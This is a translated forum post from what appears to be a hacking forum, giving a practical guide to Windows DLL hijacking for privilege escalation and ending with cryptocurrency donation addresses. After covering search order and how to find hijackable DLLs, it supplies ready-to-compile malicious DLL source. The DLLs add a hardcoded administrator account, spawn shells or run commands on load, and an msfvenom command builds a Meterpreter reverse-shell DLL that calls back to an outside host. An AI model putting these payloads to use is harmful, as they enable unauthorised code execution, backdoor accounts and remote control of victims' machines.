• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Dll Hijacking

Azrv3l

win32kfull
Эксперт
Регистрация
30.03.2019
Сообщения
215
Реакции
539
Определение
Прежде всего, давайте разберемся с определением. Dll Hijacking - это, в самом широком смысле, обман легитимного/доверенного приложения для загрузки произвольной DLL. Такие термины, как «Перехват порядка поиска DLL», «Перехват порядка загрузки DLL», «Спуфинг DLL», «Внедрение DLL» и «Сторонняя загрузка DLL» часто - по ошибке - используются для обозначения одного и того же.

Перехват DLL можно использовать для выполнения кода, получения устойчивости и повышения привилегий. Из этих трех наименее вероятно найти повышение привилегий. Однако, поскольку это часть раздела повышения привилегий, я сосредоточусь на этой опции. Также обратите внимание, что независимо от цели захват DLL выполняется одинаковым образом.

Типы
Существует множество подходов, успех зависит от того, как приложение настроено для загрузки требуемых библиотек DLL. Возможные подходы:
  1. Замена DLL: замените легитимную DLL вредоносной DLL. Это можно комбинировать с DLL Proxying [2], что гарантирует, что все функциональные возможности исходной DLL останутся нетронутыми.
  2. Перехват порядка поиска DLL: библиотеки DLL, указанные приложением без пути, ищутся в фиксированных местах в определенном порядке [3]. Взлом порядка поиска происходит путем помещения вредоносной DLL в место, где выполняется поиск, до самой DLL. Иногда сюда входит рабочий каталог целевого приложения.
  3. Фантомный захват DLL: установка вредоносной DLL вместо отсутствующей/несуществующей DLL, которую легитимной приложение пытается загрузить [4].
  4. Перенаправление DLL: измените местоположение, в котором выполняется поиск DLL, например путем редактирования переменной окружения %PATH% или файлов .exe.manifest / .exe.local, чтобы включить папку, содержащую вредоносную DLL [5, 6].
  5. Замена WinSxS DLL: замените законную DLL вредоносной DLL в соответствующей папке WinSxS. Часто называется Сторонней загрузкой DLL [7].
  6. Относительный путь DLL Hijacking: скопируйте (и при необходимости переименуйте) легитимное приложение в папку, доступную для записи пользователем, вместе со вредоностной DLL. По способу использования он имеет сходство с (подписанным) выполнением двоичного прокси [8]. Вариантом этого является (несколько оксюморонически называемый) «bring your own LOLbin» [9], в котором легитимное приложение переносится со злой DLL (а не копируется из законного места на машине жертвы).
Поиск отсутствующих Dll
Самый распространенный способ найти отсутствующие библиотеки DLL внутри системы - запустить procmon из sysinternals, установив следующие 2 фильтра:

1.png


2.png


и просто отобразите Активность файловой системы:

3.png


Если вы ищете отсутствующие DLL во всей системе, просто подождите несколько секунд. Если вы ищете отсутствующую dll внутри определенного исполняемого файла, вы должны установить другой фильтр, например "Process Name" "contains" "<exec name>", выполнить его и прекратить сбор событий.

Эксплуатация отсутствующих DLL
Для повышения привилегий лучший шанс, который у нас есть, - это написать dll, которую привелегированный процесс попытается загрузить в какое-то место, где будет выполняться поиск.
Следовательно, мы сможем записать dll в папку, в которой выполняется поиск dll, до папки, в которой находится исходная dll (странный случай). Или мы сможем записать в какую-то папку, в которой будет выполняться поиск dll, при том что исходная dll вообще отсутствует в системе.

Порядок поиска DLL
В документации Microsoft вы можете найти, как конкретно загружаются библиотеки DLL.

Как правило, приложение Windows будет использовать предопределенные пути поиска для поиска DLL и проверять эти пути в определенном порядке. Захват DLL обычно происходит путем помещения вредоносной DLL в одну из этих папок, при этом проверяя, что DLL обнаружена раньше, чем легитимная. Эту проблему можно смягчить, указав в приложении абсолютные пути к нужным библиотекам DLL.

Порядок поиска DLL в 32-битных системах:
  1. Каталог, из которого загружено приложение.
  2. Системный каталог. Используйте функцию GetSystemDirectory, чтобы получить путь к этому каталогу. (C:\Windows\System32)
  3. 16-битный системный каталог. Нет функции, которая получает путь к этому каталогу. (C: \Windows\System)
  4. Каталог Windows. Используйте функцию GetWindowsDirectory, чтобы получить путь к этому каталогу. (C: \Windows)
  5. Текущий каталог.
  6. Каталоги, перечисленные в переменной среды PATH. Обратите внимание, что это не включает путь для каждого приложения, указанный в разделе реестра App Paths. Ключ App Paths не используется при вычислении пути поиска DLL.
Это порядок поиска по умолчанию с включенным SafeDllSearchMode. Когда он отключен, текущий каталог переходит на второе место. Чтобы отключить эту функцию, создайте значение реестра HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode и установите для него значение 0 (по умолчанию включено).

Если функция LoadLibraryEx вызывается с LOAD_WITH_ALTERED_SEARCH_PATH, поиск начинается в каталоге исполняемого модуля, который загружает LoadLibraryEx.

Наконец, обратите внимание, что dll может быть загружена с указанием абсолютного пути, а не только имени. В этом случае эта dll будет искать только по этому пути (если dll имеет какие-либо зависимости, они будут искать, как только загруженные по имени).

Есть и другие способы изменить порядок поиска, но я не буду их здесь объяснять.

Исключения порядка поиска dll из документации Windows:
  • Если DLL с тем же именем модуля уже загружена в память, система проверяет только перенаправление и манифест перед преобразованием в загруженную DLL, независимо от того, в каком каталоге она находится. Система не ищет DLL.
  • Если DLL находится в списке известных DLL для версии Windows, в которой запущено приложение, система использует свою копию известной DLL (и зависимые библиотеки DLL известной DLL, если таковые имеются) вместо поиска DLL. Список известных библиотек DLL в текущей системе см. в следующем разделе реестра: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs.
  • Если у библиотеки DLL есть зависимости, система ищет зависимые библиотеки DLL, как если бы они были загружены только с их именами модулей. Это верно, даже если первая DLL была загружена с указанием полного пути.
Эскалация привилегий
Реквизиты:
  • Найдите процесс, который запускается / будет запускаться как с другими привилегиями (горизонтальное/боковое перемещение), в котором отсутствует dll.
  • Иметь разрешение на запись в любую папку, в которой будет выполняться поиск dll (возможно, в исполняемом каталоге или в какой-либо папке внутри системного пути).
Да, реквизиты сложно найти, поскольку по умолчанию довольно странно находить привилегированный исполняемый файл без библиотеки DLL, и еще более странно иметь права на запись в папку системного пути (по умолчанию вы не можете). Но в неправильно настроенных средах это возможно. В случае, если вам повезет, и вы обнаружите, что соответствуете требованиям, вы можете проверить проект UACME. Даже если основной целью проекта является обход UAC, вы можете найти там PoC перехвата Dll для версии Windows, которую вы можете использовать (возможно, просто изменив путь к папке, в которой у вас есть права на запись).

Обратите внимание, что вы можете проверить свои разрешения в папке, выполнив:
Bash:
accesschk.exe -dqv "C:\Python27"
icacls "C:\Python27"

И проверьте разрешения всех папок внутри PATH:
Bash:
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Вы также можете проверить импорт исполняемого файла и экспорт dll с помощью:
Bash:
dumpbin /imports C:\path\Tools\putty\Putty.exe
dumpbin /export /path/file.dll

Автоматизированные инструменты
Winpeas проверит, есть ли у вас права на запись в любую папку внутри системного PATH. Другими интересными автоматизированными инструментами для обнаружения этой уязвимости являются функции PowerSploit: Find-ProcessDLLHijack, Find-PathDLLHijack и Write-HijackDll.

Пример

Если вы обнаружите уязвимый сценарий, одним из наиболее важных моментов для успешного использования будет создание библиотеки DLL, которая экспортирует по крайней мере все функции, которые исполняемый файл будет импортировать из нее. В любом случае, обратите внимание, что Dll Hijacking удобен для перехода от среднего Integrity level к высокому (в обход UAC) или с высокого Integrity level на SYSTEM.

Вы можете найти пример того, как создать действительную dll в этом исследовании перехвата dll, посвященном перехвату dll для выполнения: https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows. Более того, в следующем разделе вы можете найти некоторые базовые коды dll, которые могут быть полезны в качестве шаблонов или для создания dll с экспортированными необязательными функциями.

Создание и компиляция Dll
Meterpreter
Bash:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll

Собственная
Обратите внимание, что в некоторых случаях компилируемая вами Dll должна экспортировать несколько функций, которые будут загружены процессом-жертвой. Если эти функции не существуют, двоичный файл не сможет их загрузить, и эксплойт завершится ошибкой.

C++:
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    switch(dwReason){
        case DLL_PROCESS_ATTACH:
            system("whoami > C:\\users\\username\\whoami.txt");
            WinExec("calc.exe", 0); //This doesn't accept redirections like system
            break;
        case DLL_PROCESS_DETACH:
            break;
        case DLL_THREAD_ATTACH:
            break;
        case DLL_THREAD_DETACH:
            break;
    }
    return TRUE;
}

C++:
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll

#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
    if (dwReason == DLL_PROCESS_ATTACH){
        system("cmd.exe /k net localgroup administrators user /add");
        ExitProcess(0);
    }
    return TRUE;
}

C++:
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a

#include <windows.h>

int owned()
{
  WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
  exit(0);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  owned();
  return 0;
}

C++:
//Another possible DLL
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll

#include<windows.h>
#include<stdlib.h>
#include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded
    system("cmd");
}

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call){
        case DLL_PROCESS_ATTACH:
            CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DEATCH:
            break;
    }
    return TRUE;
}

От ТС
Пока работал, нашёл эту небольшую заметку по Dll Hijacking и решил запостить на форум.
Надеюсь кому-то она будет полезна.

Оригинал поста здесь.

Перевод:
Azrv3l cпециально для xss.pro

BTC: bc1qs2fk7zftnwwhhdrw9ge6ncxrspeyta7dymjwkj
XMR: 47XEeTRbHoHFVZ8eTMoMRvdwtpxyx2fee4XAWMyA18KEMAxGh2jMZurBpGtWSN1obMFo8HQXLvtyoTozSnW8CQy31zaSPBc
ETH: 0xEb8CdE54aBaA7186E9dB8A27f6898C9F02397bab
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх